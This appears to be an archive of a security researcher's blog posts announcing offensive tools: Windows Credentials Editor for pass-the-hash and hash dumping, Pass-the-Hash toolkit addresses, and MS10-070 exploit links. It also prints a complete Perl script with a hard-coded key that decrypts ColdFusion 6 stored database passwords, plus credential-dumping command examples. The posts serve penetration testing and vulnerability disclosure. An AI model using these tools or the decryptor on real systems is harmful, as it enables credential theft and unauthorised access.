"Post-Exploitation with WCE" Presentation

This presentation describes the techniques WCE brings to penetration testers and how these can be used in different scenarios. Although originally targeted to college students studying information security, you might find useful information you didn't know about even if you are an experienced user of WCE or penetration tester.

Direct links:
Post-Exploitation with WCE (SPANISH)

Post-Exploitation with WCE (ENGLISH)

Windows Credentials Editor (WCE) FAQ released

I find myself answering a lot of questions about WCE and related matters all the time; for this reason I decided to create a WCE FAQ to try to provide a centralized source of information and answers to all the questions. 

You can find it here http://www.ampliasecurity.com/research/wcefaq.html

The FAQ is still work in progress and I will continue to update it regularly with new information, attack scenarios, different ways to use the features provided by the tool, etc. 

If you have a question in particular that you want answer, please don't hesitate to contact me, I'll answer you personally and also add the question and answer to the FAQ.

Windows Credentials Editor (WCE) v1.2 released

Windows Credentials Editor v1.2

New features in this version:
-g              Generate LM & NT Hash.
                Parameters: <password>.
-K              Dump Kerberos tickets to file (unix & 'windows wce' format)
-k              Read Kerberos tickets from file and insert into Windows cache

Description:
Windows Credentials Editor (WCE) allows to list logon sessions and add, change, list and delete associated credentials (ex.: LM/NT hashes and Kerberos tickets). This can be used, for example, to perform pass-the-hash on Windows, obtain NT/LM hashes from memory (from interactive logons, services, remote desktop connections, etc.) which can be used to perform further attacks, obtain Kerberos tickets and reuse them in other Windows or Unix systems.

WCE v1.2 supports obtaining logon sessions and NTLM credentials just by reading
memory without performing code injection.

Dumping Kerberos tickets and adding them to the Windows cache was tested on Windows 7; your feedback is welcome.


Download:
http://www.ampliasecurity.com/research/wce_v1_2.tgz

RootedCON 2011 "WCE Internals" presentation available at slideshare

Check out my presentation on "WCE Internals" (based on WCEv1.1) available at slideshare (posted by RootedCON):

http://www.slideshare.net/rootedcon/hernan-ochoa-wce-internals-rootedcon-2011

I'll publish the .pdf on http://www.ampliasecurity.com/research/ next week.

You can find all the RootedCON 2011 presentations here:


http://www.slideshare.net/rootedcon/

Some presos are in Spanish and some in English.

Go check them out!

WCE v1.1 is out!

WCE v1.1 is out!

http://www.ampliasecurity.com/research/wce_v1_1.tgz

README:


Windows Credentials Editor v1.1
(c) 2010, 2011 Amplia Security, Hernan Ochoa
written by: hernan@ampliasecurity.com
http://www.ampliasecurity.com
-------------------------------------------------------------

Abstract
----------
Windows Credentials Editor (WCE) allows to list logon sessions and add, change, list and delete associated credentials (ex.: LM/NT hashes). This can be used, for example, to perform pass-the-hash on Windows and also obtain NT/LM hashes from memory (from interactive logons, services, remote desktop connections, etc.) which can be used in further attacks.

WCE v1.1 supports obtaining logon sessions and NTLM credentials just by reading
memory without performing code injection.

Supported Platforms
-------------------
Windows Credentials Editor supports Windows XP, 2003, Vista, 7 and 2008

Requirements
-------------
This tool requires administrator privileges.

Options
--------
Windows Credentials Editor provides the following options:

Options:  
    -l        List logon sessions and NTLM credentials (default).
    -s        Changes NTLM credentials of current logon session.
            Parameters: :::.
    -r        Lists logon sessions and NTLM credentials indefinitely.
            Refreshes every 5 seconds if new sessions are found.
            Optional: -r.
    -c        Run in a new session with the specified NTLM credentials.
            Parameters: .
    -e        Lists logon sessions NTLM credentials indefinitely.
            Refreshes every time a logon event occurs.
    -o        saves all output to a file.
            Parameters: .
    -i        Specify LUID instead of use current logon session.
            Parameters: .
    -d        Delete NTLM credentials from logon session.
            Parameters: .
    -a        Use Addresses.
            Parameters:
    -f        Force 'safe mode'.
    -v        verbose output.

Examples:

    * List current logon sessions

C:\>wce -l
WCE v1.0 (Windows Credentials Editor) - (c) 2010 Amplia Security - by Hernan Ochoa (hernan@ampliasecurity.com)
Use -h for help.

meme:meme:11111111111111111111111111111111:11111111111111111111111111111111

    * List current logon sessions with verbose output enabled

C:\>wce -l -v
WCE v1.0 (Windows Credentials Editor) - (c) 2010 Amplia Security - by Hernan Ochoa (hernan@ampliasecurity.com)
Use -h for help.

Current Logon Session LUID: 00064081h
Logon Sessions Found: 8
WIN-REK2HG6EBIS\auser:NTLM
        LUID:0006409Fh
WIN-REK2HG6EBIS\auser:NTLM
        LUID:00064081h
NT AUTHORITY\ANONYMOUS LOGON:NTLM
        LUID:00019137h
NT AUTHORITY\IUSR:Negotiate
        LUID:000003E3h
NT AUTHORITY\LOCAL SERVICE:Negotiate
        LUID:000003E5h
WORKGROUP\WIN-REK2HG6EBIS$:Negotiate
        LUID:000003E4h
\:NTLM
        LUID:0000916Ah
WORKGROUP\WIN-REK2HG6EBIS$:NTLM
        LUID:000003E7h

00064081:meme:meme:11111111111111111111111111111111:11111111111111111111111111111111   

    * Change NTLM credentials associated with current logon session

C:\>wce -s auser:adomain:99999999999999999999999999999999:99999999999999999999999999999999
WCE v1.0 (Windows Credentials Editor) - (c) 2010 Amplia Security - by Hernan Ochoa (hernan@ampliasecurity.com)
Use -h for help.

Changing NTLM credentials of current logon session (00064081h) to:
Username: auser
domain: admin
LMHash: 99999999999999999999999999999999
NTHash: 99999999999999999999999999999999
NTLM credentials successfully changed!

    * Add/Change NTLM credentials of a logon session (not the current one)

C:\>wce -i 3e5 -s auser:adomain:99999999999999999999999999999999:99999999999999999999999999999999 
WCE v1.0 (Windows Credentials Editor) - (c) 2010 Amplia Security - by Hernan Och
oa (hernan@ampliasecurity.com)
Use -h for help.

Changing NTLM credentials of logon session 000003E5h to:
Username: auser
domain: admin
LMHash: 99999999999999999999999999999999
NTHash: 99999999999999999999999999999999
NTLM credentials successfully changed!

    * Delete NTLM credentials associated with a logon session

C:\>wce -d 3e5
WCE v1.0 (Windows Credentials Editor) - (c) 2010 Amplia Security - by Hernan Ochoa (hernan@ampliasecurity.com)
Use -h for help.

NTLM credentials successfully deleted!

    * Run WCE indefinitely, waiting for new credentials/logon sessions.
    Refresh is performed every time a logon event is registered in the Event Log.

C:\>wce -e

    * Run WCE indefinitely, waiting for new credentials/logon sessions
    Refresh is every 5 seconds by default.

C:\>wce -r

    * Run WCE indefinitely, waiting for new credentials/logon sessions, but refresh every 1 second (by default wce refreshes very 5 seconds)

C:\>wce -r5


GETLSASRVADDR.EXE
-----------------
This tool can be used to obtain automatically needed addresses for WCE
to be able to read logon sessions and NTLM credentials from memory.

Addresses obtained can then be used with WCE using the -A switch.

This tool requires the dlls symsrv.dll and dbghelp.dll available from the
"Debugging Tools for Windows" package.

Amplia Security at H2HC Cancun

Amplia Security at H2HC Cancun :)

Contributing author of Hacking Exposed Web Applications 3rd. Edition

Shamless plug alert!

Hacking Exposed Web Applications 3rd. Edition is out! and I'm a contributing author! Check it out!

 http://www.amazon.com/HACKING-EXPOSED-WEB-APPLICATIONS-3/dp/0071740643/ref=sr_1_1?ie=UTF8&qid=1288459138&sr=8-1

MS10-070 ASP.NET Auto-Decryptor File Download PoC exploit

This is another exploit part of the MS10-070 saga :)

It is not the same as our other previously released exploit, this one uses another information leak. On average, this exploit should allow you to do the same as the previous one but faster (which is important/desirable in this scenario).

You can find it here:
http://www.ampliasecurity.com/research/aspx_ad_chotext_attack.rb

MS10-070 ASP.NET Padding Oracle attack PoC exploit video

Yesterday, Agustin Azubel from Amplia Security released a proof-of-concept exploit implementing a Padding Oracle attack against ASP.NET (MS10-070) that allows an attacker to download a file from the remote web server.


Today we released a video showing how the PoC exploit works.

You can find it here:
http://vimeo.com/15856549

and also, here:
http://www.youtube.com/ampliasecurity#p/u/0/2jvmT5lmIIM


If you don't feel like installing IIS/ASP.NET and creating a sample application or don't have an already vulnerable ASP.NET application to test the PoC exploit on, the video will give you an idea on how the exploit works.

MS10-070 ASP.NET Padding Oracle Attack to download web.config or other files

You can find it here:  

 http://www.ampliasecurity.com/research/aspx_po_chotext_attack.rb 

A proof-of-concept attack against MS10-070, this PoC is an implementation in Ruby of a Padding Oracle attack and allows you to download the 'Web.config' file or any other file from a vulnerable ASP.NET installation.





It was written by Agustin Azubel (aazubel [ at ]  ampliasecurity.com).

Windows Credentials Editor v1.0 (WCE)

I just released a new tool called Windows Credentials Editor 1.0 (WCE)

It allows to perform pass-the-hash and other things related to windows logon sessions and supports XP,2003,7,2008 and Vista.


You can find it here:
http://www.ampliasecurity.com/research/wce_v1.0.tgz


Have fun!

A Padding Oracle Attack Implemented in Javascript

A Padding Oracle Attack implemented in javascript by Agustin Azubel:

http://www.ampliasecurity.com/blog/2010/09/28/a_padding_oracle_attack_implemented_in_javascript/

Transferring files on isolated remote desktop environments Turbo Talk

The slides for the turbo talk "Transferring files on isolated remote desktop environments" I presented at Ekoparty are up for download here: http://www.ampliasecurity.com/research/transferringfilesonisolatedRDenvironments-ampliasecurity.pdf

The GUI Transfer Toolkit v1.0 can be downloaded here: http://www.ampliasecurity.com/research/gtt_1.0.tgz

And also three videos are available to give you an idea of what the tools do:

Go to: http://www.youtube.com/user/AmpliaSecurity

or, for the individual videos:

"Using GTT to upload files to an isolated Citrix environment"
http://www.youtube.com/watch?v=h65Yz5n1CPw

"Using GTT fastupload to upload files to an isolated Citrix environment"
http://www.youtube.com/watch?v=gLRGuHpvYBI

"Using GTT to download files from an isolated Citrix environment"
http://www.youtube.com/watch?v=asRpCcVhnuI

Thank you!

Comments on "Assessing the risk of the February Security Bulletins"

I just read the "Assessing the risk of February Security Bulletins" blog post here http://blogs.technet.com/srd/archive/2010/02/09/assessing-the-risk-of-the-february-security-bulletins.aspx

I have some quick comments about the "SMB NTLM Weak Nonce" vulnerability we released and MS' risk assessment:

• The blog post says:"Likely to see working proof-of-concept in next 30 days for CVE-2010-0231 resulting in attacker luring remote victim user to open file on attacker server and initiating a connection back to machine where remote victim is logged on. "

We released fully working proof-of-concept code in our advisory (for two different 'approaches' to exploit the vulnerability) the same day the patch was released, so PoC is already available.

• MS calls this issue an 'Elevation of Privilege' vulnerability and 'Important'
  

(also mentioned here: http://blogs.technet.com/srd/archive/2010/02/09/ms10-006-and-ms10-012-smb-security-bulletins.aspx)

I discussed this with MS; they had their reasons which I understood but I disagree.

I'm not convinced this should be categorized as a 'remote code execution' vulnerability either, because strictly speaking.. it is not..

(although it can definitely be used to execute code remotely using DCE/RPC without user interaction, just change the PoC to, instead of creating a text file, do something similar to 'psexec', create exe+register service+start service=code execution. Code to do this is already available in metasploit. I'm going to release an improved version of the PoC with these changes, but you can easily do it yourself).

But, I feel 'Elevation of Privilege' is a term better suited to cases where you have some kind of access level (e.g.: regular user) and then you are able to *elevate* your privileges (.e.g.: you become an admin).

In this case you have no access.. and then you have access..

Following the same logic, a remotely exploitable buffer overflow (remote code execution) would also be an 'elevation of privilege' vulnerability.. :) you don't have access.. you exploit, now you do!..

Anyways... I understand it is perhaps hard to just pick the right 'class' for this vulnerability, and frankly, it doesn't matter..

I just want to say that if you are dismissing applying this patch because it is only an 'Elevation of privilege'.. and because http://blogs.technet.com/srd/archive/2010/02/09/ms10-006-and-ms10-012-smb-security-bulletins.aspx says that the severity of the four vulnerabilities included in ms10-012 is 'Important'.. I ask you to reconsider... :)

Anyways, like I said, 'Important' *should* be enough to convince you to apply the patch.. but just in case..

Also some comments about this vulnerability and Windows NT4:

if you still have some Windows NT 4 boxes on your network and they're accepting NTLMv1 auth requests and other Windows NT 4 boxes acting as clients are initiating authentication attempts using NTLMv1, your network might be vulnerable to replay attacks without any kind of user interaction. It *might* be possible for an attacker to passively sniff network traffic, collect challenges/responses, and then start making connections to the server until a previously observed challenge is returned and at that point return the corresponding response (to increase the feasibility of the attack, it will be a good idea to capture several challenge/response sessions, not just one.. :).. in fact, you could do more sophisticated attacks..)

This scenario is described in the advisory, but since Windows NT 4 is no longer supported by Microsoft, there's no patch. You'll need to do something else, like disabling incoming NTLMv1 auth attempts in Windows NT4 servers (if possible).

Windows SMB NTLM Authentication Weak Nonce Vulnerability released

In case you didn't catch it on bugtraq or full-disclosure or twitter :), please take a look at the advisory for Windows SMB NTLM Authentication Weak Nonce Vulnerability:

http://www.hexale.org/advisories/OCHOA-2010-0209.txt

It's basically a 14/17-year old vulnerability in the Windows implementation of the NLTM Authentication protocol... goes back to the Windows NT 4 days!

I´ll do a post later commenting on some of, what I think, are the most interesting and important facts said in the advisory that perhaps you didn't catch when reading it or were not clearly described.

Thank you!.

How to decrypt Coldfusion v6 datasource passwords

Some time ago I made a blog post about how to decrypt datasource passwords for both coldfusion v7 and v8 (see http://hexale.blogspot.com/2008/07/how-to-decrypt-coldfusion-datasource.html), this blog post is basically about the same but for ColdFusion v6.

DataSource passwords in v6 are stored in \lib\neo-query.xml as they were in v7, but this time the passwords are encrypted using a 16-bytes hard-coded key using the TwoFish encryption algorithm.

The code used to encrypt the passwords can be found in cfusion.jar, unzip the .jar file and look for it in \coldfusion\sql\TwoFishCryptor.class and \coldfusion\sql\TwoFish_Algorithm.class.

I wrote a quick perl script to decrypt these passwords (it requires Crypt::TwoFish which you can easily download using CPAN or manually), here it is:



# ColdFusion 6 neo-query.xml database passwords decryptor
# (c) Hernan Ochoa (hernan@gmail.com)

use Crypt::Twofish;

$key = "\x56\xbc\xca\x37\x94\x81\xa6\x17\x09\x59\xfa\xdb\xcc\xfd\x40\x1a";


print "ColdFusion 6 neo-query.xml database passwords decryptor\n";
print "by Hernan Ochoa (hernan\@gmail.com)\n\n";

if (($#ARGV+1) != 1) {
print "syntax: decryptcf6.pl \n";
print "example: decryptcf6.pl AABBCCDDEEFF00010203040506070809\n";
print "\n";
exit 0;
}

$data = @ARGV[0];
if ( length($data) != 32 ) {
print "ERROR: encrypted password must be 32-characters long!\n";
exit 0;
}

print "encrypted password: $data\n";

@chars = split '', $data;

$mybytes = "";

for( $i=0; $i<32; $i=$i+2) {
$mybytes = $mybytes . chr( ( hex(@chars[$i])*16 ) + hex( @chars[$i+1]) );

}

$cipher = Crypt::Twofish->new($key);

print "decrypted password: " . $cipher->decrypt($mybytes);
print "\n";



You can also download it here: http://www.hexale.org/tools/decryptcf6.tgz

List of Addresses for the Pass-the-Hash toolkit -a switch

Many people contact me frequently asking for the correct addresses to use with the -a switch of whosthere.exe and iam.exe for different versions of Windows, languages, etc.

Although I will continue answering these questions, I have put together a list of addresses for different versions of lsasrv.dll to make the process a little bit easier both for me and for you.

The list currently contains a low amount of addresses but It will grow eventually, your contributions are very welcome but please send me your lsasrv.dll along with the addresses because I need to verify the addresses are correct.

The file containing the list of addresses is very simple:

'sha1' is the sha1 hash of the lsasrv.dll. This is used to identify different versions of the DLL

'File version' and 'Language' are the version and language of lsasrv.dll

'addresses' are the addresses to use with the -a switch

So, basically, if you have a version of windows where whosthere.exe and iam.exe are not working, first try iam-alt.exe and whosthere-alt.exe, if that doesn't work or if you want to specifically use whosthere.exe and iam.exe calculate the sha1 hash of your lsasrv.dll file (located in c:\windows\system32\lsasrv.dll) and look it up in the list of addresses.

If you can't find it there, just email me your lsasrv.dll. I'll answer with the correct addresses and will add them to the list.

You can find the list of addresses here: http://www.hexale.org/pth/pth_addrs.txt

fix for whosthere/iam under XP SP3 with latest updates (May 2009)

In my last post I mentioned whosthere/iam were not working anymore with the latest updates for xp sp 3 (but iam-alt/whosthere-alt were still working).

Ok, I actually forgot I had added the -a switch to the tools to easily overcome this scenario :).

The only thing you have to do is load lsasrv.dll into IDA and run the passthehash.idc script included in the toolkit's source package and it will give you back the addresses you need to make whosthere/iam work.

For xp sp3 english with the latest patches the values are the following:

75753BE0:7573FDF4:757D0C98:757D0CA0:757CFC60:757CFE54

so, just run

whosthere -a 75753BE0:7573FDF4:757D0C98:757D0CA0:757CFC60:757CFE54

or

iam.exe [other options...] -a 75753BE0:7573FDF4:757D0C98:757D0CA0:757CFC60:757CFE54

and both tools will work with the latest patches on xp sp3 english.

If you have a different version of windows just use the IDA .idc script or email me.

whosthere/iam not working with latest xp sp3 patches

Just wanted to give you a heads up:

whosthere.exe and iam.exe seem to not be working with all the latest patches for xp sp3 applied. Can't really say which patch caused the problem and it doesn't matter that much anyways.

The problem is apparently that the tools just can't find the memory addresses they need, based on which I assume fixing the issue is simply a matter of modifying the heuristics used to find these addresses. I'm already looking at this issue and will release a new version soon.

Meanwhile, the '-alt' versions of the tools (whosthere-alt.exe and iam-alt.exe) still work; so, if you encounter yourself with this problem, just use the -alt versions.

As always, feel free to email me if you have any other questions/problems.

Netifera Video - The Java Virtual Machine As Shellcode

Check this out, netifera is getting interesting:

"In this screencast we're going to look at some features we are working on for the next version of netifera.

The two main things we're going to demonstrate are geographical visualiation and the netifera probe which is a deployable software agent that makes it possible to run all netifera platform tools remotely as easily as running them locally.

We're going to install the probe on the netifera.com webserver, and we'll deply it like shellcode by injecting it directly into memory over the network, using an exploit".

The video and more information is available at:
http://blog.netifera.com

direck link to the video:
http://blog.netifera.com/video-the-java-virtual-machine-as-shellcode/